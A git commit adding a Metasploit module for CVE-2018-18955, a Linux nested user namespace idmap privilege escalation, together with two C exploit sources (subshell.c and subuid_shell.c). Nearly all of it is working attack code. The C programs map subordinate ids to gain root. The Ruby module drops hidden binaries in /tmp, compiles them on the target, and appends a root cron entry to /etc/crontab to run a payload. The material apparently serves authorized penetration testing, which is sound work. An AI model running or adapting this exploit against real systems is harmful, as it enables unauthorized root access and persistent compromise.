Add Linux Nested User Namespace idmap Limit Local Privilege Escalation module
parent
630de06f9e
commit
eb17c45000
|
@ -0,0 +1,52 @@
|
||||||
|
// subshell.c
|
||||||
|
// author: Jann Horn
|
||||||
|
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||||
|
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <grp.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/un.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int sync_pipe[2];
|
||||||
|
char dummy;
|
||||||
|
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe");
|
||||||
|
|
||||||
|
pid_t child = fork();
|
||||||
|
if (child == -1) err(1, "fork");
|
||||||
|
if (child == 0) {
|
||||||
|
close(sync_pipe[1]);
|
||||||
|
if (unshare(CLONE_NEWUSER)) err(1, "unshare userns");
|
||||||
|
if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock");
|
||||||
|
|
||||||
|
if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock");
|
||||||
|
execl("/bin/bash", "bash", NULL);
|
||||||
|
err(1, "exec");
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sync_pipe[0]);
|
||||||
|
if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock");
|
||||||
|
char pbuf[100];
|
||||||
|
sprintf(pbuf, "/proc/%d", (int)child);
|
||||||
|
if (chdir(pbuf)) err(1, "chdir");
|
||||||
|
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
|
||||||
|
int uid_map = open("uid_map", O_WRONLY);
|
||||||
|
if (uid_map == -1) err(1, "open uid map");
|
||||||
|
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map");
|
||||||
|
close(uid_map);
|
||||||
|
int gid_map = open("gid_map", O_WRONLY);
|
||||||
|
if (gid_map == -1) err(1, "open gid map");
|
||||||
|
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map");
|
||||||
|
close(gid_map);
|
||||||
|
if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock");
|
||||||
|
|
||||||
|
int status;
|
||||||
|
if (wait(&status) != child) err(1, "wait");
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,271 @@
|
||||||
|
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
|
||||||
|
// Exploits broken uid/gid mapping in nested user namespaces.
|
||||||
|
// ---
|
||||||
|
// Mostly stolen from Jann Horn's exploit:
|
||||||
|
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||||
|
// Some code stolen from Xairy's exploits:
|
||||||
|
// - https://github.com/xairy/kernel-exploits
|
||||||
|
// ---
|
||||||
|
// <bcoles@gmail.com>
|
||||||
|
// - added auto subordinate id mapping
|
||||||
|
// https://github.com/bcoles/kernel-exploits/tree/cve-2018-18955
|
||||||
|
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <grp.h>
|
||||||
|
#include <pwd.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/un.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <sys/prctl.h>
|
||||||
|
|
||||||
|
#define DEBUG
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
# define dprintf printf
|
||||||
|
#else
|
||||||
|
# define dprintf
|
||||||
|
#endif
|
||||||
|
|
||||||
|
char* SUBSHELL = "./subshell";
|
||||||
|
|
||||||
|
|
||||||
|
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
|
||||||
|
|
||||||
|
#define CHUNK_SIZE 1024
|
||||||
|
|
||||||
|
int read_file(const char* file, char* buffer, int max_length) {
|
||||||
|
int f = open(file, O_RDONLY);
|
||||||
|
if (f == -1)
|
||||||
|
return -1;
|
||||||
|
int bytes_read = 0;
|
||||||
|
while (1) {
|
||||||
|
int bytes_to_read = CHUNK_SIZE;
|
||||||
|
if (bytes_to_read > max_length - bytes_read)
|
||||||
|
bytes_to_read = max_length - bytes_read;
|
||||||
|
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||||
|
if (rv == -1)
|
||||||
|
return -1;
|
||||||
|
bytes_read += rv;
|
||||||
|
if (rv == 0)
|
||||||
|
return bytes_read;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int write_file(const char* file, const char* what, ...) {
|
||||||
|
char buf[1024];
|
||||||
|
va_list args;
|
||||||
|
va_start(args, what);
|
||||||
|
vsnprintf(buf, sizeof(buf), what, args);
|
||||||
|
va_end(args);
|
||||||
|
buf[sizeof(buf) - 1] = 0;
|
||||||
|
int len = strlen(buf);
|
||||||
|
|
||||||
|
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||||
|
if (fd == -1)
|
||||||
|
return -1;
|
||||||
|
if (write(fd, buf, len) != len) {
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
|
||||||
|
|
||||||
|
int get_subuid(char* output, int max_length) {
|
||||||
|
char buffer[1024];
|
||||||
|
char* path = "/etc/subuid";
|
||||||
|
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||||
|
if (length == -1)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
int real_uid = getuid();
|
||||||
|
struct passwd *u = getpwuid(real_uid);
|
||||||
|
|
||||||
|
char needle[1024];
|
||||||
|
sprintf(needle, "%s:", u->pw_name);
|
||||||
|
int needle_length = strlen(needle);
|
||||||
|
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||||
|
if (found == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
int i;
|
||||||
|
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||||
|
if (i >= max_length)
|
||||||
|
return -1;
|
||||||
|
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||||
|
return -1;
|
||||||
|
output[i] = found[needle_length + i];
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int get_subgid(char* output, int max_length) {
|
||||||
|
char buffer[1024];
|
||||||
|
char* path = "/etc/subgid";
|
||||||
|
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||||
|
if (length == -1)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
int real_gid = getgid();
|
||||||
|
struct group *g = getgrgid(real_gid);
|
||||||
|
|
||||||
|
char needle[1024];
|
||||||
|
sprintf(needle, "%s:", g->gr_name);
|
||||||
|
int needle_length = strlen(needle);
|
||||||
|
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||||
|
if (found == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
int i;
|
||||||
|
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||||
|
if (i >= max_length)
|
||||||
|
return -1;
|
||||||
|
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||||
|
return -1;
|
||||||
|
output[i] = found[needle_length + i];
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||||
|
|
||||||
|
int main(int argc, char** argv) {
|
||||||
|
if (argc > 1) SUBSHELL = argv[1];
|
||||||
|
|
||||||
|
dprintf("[.] starting\n");
|
||||||
|
|
||||||
|
dprintf("[.] setting up namespace\n");
|
||||||
|
|
||||||
|
int sync_pipe[2];
|
||||||
|
char dummy;
|
||||||
|
|
||||||
|
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
|
||||||
|
dprintf("[-] pipe\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
pid_t child = fork();
|
||||||
|
|
||||||
|
if (child == -1) {
|
||||||
|
dprintf("[-] fork");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (child == 0) {
|
||||||
|
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||||
|
close(sync_pipe[1]);
|
||||||
|
|
||||||
|
if (unshare(CLONE_NEWUSER) != 0) {
|
||||||
|
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (unshare(CLONE_NEWNET) != 0) {
|
||||||
|
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (write(sync_pipe[0], "X", 1) != 1) {
|
||||||
|
dprintf("write to sock\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (read(sync_pipe[0], &dummy, 1) != 1) {
|
||||||
|
dprintf("[-] read from sock\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (setgid(0)) {
|
||||||
|
dprintf("[-] setgid");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (setuid(0)) {
|
||||||
|
printf("[-] setuid");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
execl(SUBSHELL, "", NULL);
|
||||||
|
|
||||||
|
dprintf("[-] executing subshell failed\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sync_pipe[0]);
|
||||||
|
|
||||||
|
if (read(sync_pipe[1], &dummy, 1) != 1) {
|
||||||
|
dprintf("[-] read from sock\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
char path[256];
|
||||||
|
sprintf(path, "/proc/%d/setgroups", (int)child);
|
||||||
|
|
||||||
|
if (write_file(path, "deny") == -1) {
|
||||||
|
dprintf("[-] denying setgroups failed\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[~] done, namespace sandbox set up\n");
|
||||||
|
|
||||||
|
dprintf("[.] mapping subordinate ids\n");
|
||||||
|
char subuid[64];
|
||||||
|
char subgid[64];
|
||||||
|
|
||||||
|
if (get_subuid(&subuid[0], sizeof(subuid))) {
|
||||||
|
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (get_subgid(&subgid[0], sizeof(subgid))) {
|
||||||
|
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[.] subuid: %s\n", subuid);
|
||||||
|
dprintf("[.] subgid: %s\n", subgid);
|
||||||
|
|
||||||
|
char cmd[256];
|
||||||
|
|
||||||
|
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
|
||||||
|
if (system(cmd)) {
|
||||||
|
dprintf("[-] newuidmap failed");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
|
||||||
|
if (system(cmd)) {
|
||||||
|
dprintf("[-] newgidmap failed");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[~] done, mapped subordinate ids\n");
|
||||||
|
|
||||||
|
dprintf("[.] executing subshell\n");
|
||||||
|
|
||||||
|
if (write(sync_pipe[1], "X", 1) != 1) {
|
||||||
|
dprintf("[-] write to sock");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
int status;
|
||||||
|
if (wait(&status) != child) {
|
||||||
|
dprintf("[-] wait");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,221 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Post::Linux::Priv
|
||||||
|
include Msf::Post::Linux::System
|
||||||
|
include Msf::Post::Linux::Kernel
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
Linux kernels 4.15.x to 4.18.x prior to 4.18.19 and 4.19.x before 4.19.2
|
||||||
|
contains a vulnerability where broken uid/gid mappings between nested
|
||||||
|
user namespaces and kernel uid/gid mappings allow elevation to root.
|
||||||
|
|
||||||
|
The target system must have unprivileged user namespaces enabled and
|
||||||
|
the newuidmap and newgidmap helpers installed (from uidmap package).
|
||||||
|
|
||||||
|
This module has been tested successfully on:
|
||||||
|
|
||||||
|
Linux Mint 19 kernel 4.15.0-20-generic (x86_64);
|
||||||
|
Ubuntu Linux 18.04 kernel 4.15.0-20-generic (x86_64).
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jann Horn', # Discovery and exploit
|
||||||
|
'bcoles' # Metasploit
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Nov 15 2018',
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'SessionTypes' => ['shell', 'meterpreter'],
|
||||||
|
'Targets' => [['Auto', {}]],
|
||||||
|
'Privileged' => true,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['BID', '105941'],
|
||||||
|
['CVE', '2018-18955'],
|
||||||
|
['EDB', '45886'],
|
||||||
|
['PACKETSTORM', '150381'],
|
||||||
|
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'],
|
||||||
|
['URL', 'https://bugs.launchpad.net/bugs/1801924'],
|
||||||
|
['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'],
|
||||||
|
['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'],
|
||||||
|
['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'],
|
||||||
|
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'],
|
||||||
|
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2']
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'WfsDelay' => 60,
|
||||||
|
'PrependSetresuid' => true,
|
||||||
|
'PrependSetreuid' => true,
|
||||||
|
'PrependSetuid' => true,
|
||||||
|
'PrependFork' => true
|
||||||
|
},
|
||||||
|
'Notes' =>
|
||||||
|
{
|
||||||
|
'AKA' => ['subuid_shell.c']
|
||||||
|
}
|
||||||
|
))
|
||||||
|
register_options [
|
||||||
|
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]])
|
||||||
|
]
|
||||||
|
register_advanced_options [
|
||||||
|
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||||
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def base_dir
|
||||||
|
datastore['WritableDir'].to_s
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload(path, data)
|
||||||
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||||
|
rm_f path
|
||||||
|
write_file path, data
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_and_chmodx(path, data)
|
||||||
|
upload path, data
|
||||||
|
cmd_exec "chmod +x '#{path}'"
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_and_compile(path, data)
|
||||||
|
upload "#{path}.c", data
|
||||||
|
|
||||||
|
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||||
|
if session.type.eql? 'shell'
|
||||||
|
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||||
|
end
|
||||||
|
output = cmd_exec gcc_cmd
|
||||||
|
rm_f "#{path}.c"
|
||||||
|
|
||||||
|
unless output.blank?
|
||||||
|
print_error output
|
||||||
|
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
|
||||||
|
end
|
||||||
|
|
||||||
|
cmd_exec "chmod +x #{path}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_data(file)
|
||||||
|
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file
|
||||||
|
fd = ::File.open path, 'rb'
|
||||||
|
data = fd.read fd.stat.size
|
||||||
|
fd.close
|
||||||
|
data
|
||||||
|
end
|
||||||
|
|
||||||
|
def live_compile?
|
||||||
|
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||||
|
|
||||||
|
if has_gcc?
|
||||||
|
vprint_good 'gcc is installed'
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
unless datastore['COMPILE'].eql? 'Auto'
|
||||||
|
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
unless userns_enabled?
|
||||||
|
vprint_error 'Unprivileged user namespaces are not permitted'
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
vprint_good 'Unprivileged user namespaces are permitted'
|
||||||
|
|
||||||
|
['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|
|
||||||
|
unless setuid? path
|
||||||
|
vprint_error "#{path} is not set-uid"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
vprint_good "#{path} is set-uid"
|
||||||
|
end
|
||||||
|
|
||||||
|
release = kernel_release
|
||||||
|
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.19.2') ||
|
||||||
|
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.15')
|
||||||
|
vprint_error "Kernel version #{release} is not vulnerable"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
vprint_good "Kernel version #{release} appears to be vulnerable"
|
||||||
|
|
||||||
|
CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless check == CheckCode::Appears
|
||||||
|
unless datastore['ForceExploit']
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||||
|
end
|
||||||
|
print_warning 'Target does not appear to be vulnerable'
|
||||||
|
end
|
||||||
|
|
||||||
|
if is_root?
|
||||||
|
unless datastore['ForceExploit']
|
||||||
|
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unless writable? base_dir
|
||||||
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Upload executables
|
||||||
|
subuid_shell_name = ".#{rand_text_alphanumeric 5..10}"
|
||||||
|
subuid_shell_path = "#{base_dir}/#{subuid_shell_name}"
|
||||||
|
subshell_name = ".#{rand_text_alphanumeric 5..10}"
|
||||||
|
subshell_path = "#{base_dir}/#{subshell_name}"
|
||||||
|
if live_compile?
|
||||||
|
vprint_status 'Live compiling exploit on system...'
|
||||||
|
upload_and_compile subuid_shell_path, exploit_data('subuid_shell.c')
|
||||||
|
upload_and_compile subshell_path, exploit_data('subshell.c')
|
||||||
|
else
|
||||||
|
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||||
|
upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out')
|
||||||
|
upload_and_chmodx subshell_path, exploit_data('subshell.out')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Upload payload executable
|
||||||
|
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
|
||||||
|
upload_and_chmodx payload_path, generate_payload_exe
|
||||||
|
|
||||||
|
# Launch exploit
|
||||||
|
print_status 'Adding cron job...'
|
||||||
|
output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} & "
|
||||||
|
output.each_line { |line| vprint_status line.chomp }
|
||||||
|
|
||||||
|
crontab = read_file '/etc/crontab'
|
||||||
|
unless crontab.include? payload_path
|
||||||
|
fail_with Failure::Unknown, 'Failed'
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good 'Success. Waiting for job to run (may take a minute)...'
|
||||||
|
|
||||||
|
6.times do
|
||||||
|
break if session_created?
|
||||||
|
Rex.sleep 10
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status "Cleaning up #{payload_path}, #{subuid_shell_path}, #{subshell_path} ..."
|
||||||
|
rm_f subuid_shell_path
|
||||||
|
rm_f subshell_path
|
||||||
|
rm_f payload_path
|
||||||
|
print_warning 'Manual cleanup for /etc/crontab required!'
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue